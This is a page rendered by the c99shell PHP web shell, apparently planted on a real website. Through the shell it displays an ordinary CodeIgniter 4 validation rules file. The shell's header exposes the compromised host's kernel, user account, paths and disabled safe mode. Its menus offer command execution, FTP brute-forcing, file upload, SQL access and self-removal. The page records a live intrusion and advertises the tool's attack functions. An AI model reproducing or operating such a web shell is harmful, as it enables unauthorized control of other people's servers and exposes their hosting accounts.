smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Validation/StrictRules/   drwxr-xr-x
Free 3432.42 GB of 4265.01 GB (80.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Rules.php (6.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Validation\StrictRules;

use 
CodeIgniter\Validation\Rules as NonStrictRules;
use 
Config\Database;

/**
 * Validation Rules.
 */
class Rules
{
    private 
NonStrictRules $nonStrictRules;

    public function 
__construct()
    {
        
$this->nonStrictRules = new NonStrictRules();
    }

    
/**
     * The value does not match another field in $data.
     *
     * @param mixed $str
     * @param array $data Other field/value pairs
     */
    
public function differs($strstring $field, array $data): bool
    
{
        if (! 
is_string($str)) {
            return 
false;
        }

        return 
$this->nonStrictRules->differs($str$field$data);
    }

    
/**
     * Equals the static value provided.
     *
     * @param mixed $str
     */
    
public function equals($strstring $val): bool
    
{
        return 
$this->nonStrictRules->equals($str$val);
    }

    
/**
     * Returns true if $str is $val characters long.
     * $val = "5" (one) | "5,8,12" (multiple values)
     *
     * @param mixed $str
     */
    
public function exact_length($strstring $val): bool
    
{
        if (! 
is_string($str)) {
            return 
false;
        }

        return 
$this->nonStrictRules->exact_length($str$val);
    }

    
/**
     * Greater than
     *
     * @param mixed $str
     */
    
public function greater_than($strstring $min): bool
    
{
        return 
$this->nonStrictRules->greater_than($str$min);
    }

    
/**
     * Equal to or Greater than
     *
     * @param mixed $str
     */
    
public function greater_than_equal_to($strstring $min): bool
    
{
        return 
$this->nonStrictRules->greater_than_equal_to($str$min);
    }

    
/**
     * Checks the database to see if the given value exist.
     * Can ignore records by field/value to filter (currently
     * accept only one filter).
     *
     * Example:
     *    is_not_unique[table.field,where_field,where_value]
     *    is_not_unique[menu.id,active,1]
     *
     * @param mixed $str
     */
    
public function is_not_unique($strstring $field, array $data): bool
    
{
        return 
$this->nonStrictRules->is_not_unique($str$field$data);
    }

    
/**
     * Value should be within an array of values
     *
     * @param mixed $value
     */
    
public function in_list($valuestring $list): bool
    
{
        if (
is_int($value) || is_float($value)) {
            
$value = (string) $value;
        }

        if (! 
is_string($value)) {
            return 
false;
        }

        return 
$this->nonStrictRules->in_list($value$list);
    }

    
/**
     * Checks the database to see if the given value is unique. Can
     * ignore a single record by field/value to make it useful during
     * record updates.
     *
     * Example:
     *    is_unique[table.field,ignore_field,ignore_value]
     *    is_unique[users.email,id,5]
     *
     * @param mixed $str
     */
    
public function is_unique($strstring $field, array $data): bool
    
{
        return 
$this->nonStrictRules->is_unique($str$field$data);
    }

    
/**
     * Less than
     *
     * @param mixed $str
     */
    
public function less_than($strstring $max): bool
    
{
        return 
$this->nonStrictRules->less_than($str$max);
    }

    
/**
     * Equal to or Less than
     *
     * @param mixed $str
     */
    
public function less_than_equal_to($strstring $max): bool
    
{
        return 
$this->nonStrictRules->less_than_equal_to($str$max);
    }

    
/**
     * Matches the value of another field in $data.
     *
     * @param mixed $str
     * @param array $data Other field/value pairs
     */
    
public function matches($strstring $field, array $data): bool
    
{
        return 
$this->nonStrictRules->matches($str$field$data);
    }

    
/**
     * Returns true if $str is $val or fewer characters in length.
     *
     * @param mixed $str
     */
    
public function max_length($strstring $val): bool
    
{
        if (
is_int($str) || is_float($str) || null === $str) {
            
$str = (string) $str;
        }

        if (! 
is_string($str)) {
            return 
false;
        }

        return 
$this->nonStrictRules->max_length($str$val);
    }

    
/**
     * Returns true if $str is at least $val length.
     *
     * @param mixed $str
     */
    
public function min_length($strstring $val): bool
    
{
        if (
is_int($str) || is_float($str)) {
            
$str = (string) $str;
        }

        if (! 
is_string($str)) {
            return 
false;
        }

        return 
$this->nonStrictRules->min_length($str$val);
    }

    
/**
     * Does not equal the static value provided.
     *
     * @param mixed $str
     */
    
public function not_equals($strstring $val): bool
    
{
        return 
$this->nonStrictRules->not_equals($str$val);
    }

    
/**
     * Value should not be within an array of values.
     *
     * @param mixed $value
     */
    
public function not_in_list($valuestring $list): bool
    
{
        if (
null === $value) {
            return 
true;
        }

        if (
is_int($value) || is_float($value)) {
            
$value = (string) $value;
        }

        if (! 
is_string($value)) {
            return 
false;
        }

        return 
$this->nonStrictRules->not_in_list($value$list);
    }

    
/**
     * @param mixed $str
     */
    
public function required($str null): bool
    
{
        return 
$this->nonStrictRules->required($str);
    }

    
/**
     * The field is required when any of the other required fields are present
     * in the data.
     *
     * Example (field is required when the password field is present):
     *
     *     required_with[password]
     *
     * @param mixed       $str
     * @param string|null $fields List of fields that we should check if present
     * @param array       $data   Complete list of fields from the form
     */
    
public function required_with($str null, ?string $fields null, array $data = []): bool
    
{
        return 
$this->nonStrictRules->required_with($str$fields$data);
    }

    
/**
     * The field is required when all of the other fields are present
     * in the data but not required.
     *
     * Example (field is required when the id or email field is missing):
     *
     *     required_without[id,email]
     *
     * @param mixed $str
     */
    
public function required_without($str null, ?string $fields null, array $data = []): bool
    
{
        return 
$this->nonStrictRules->required_without($str$fields$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0084 ]--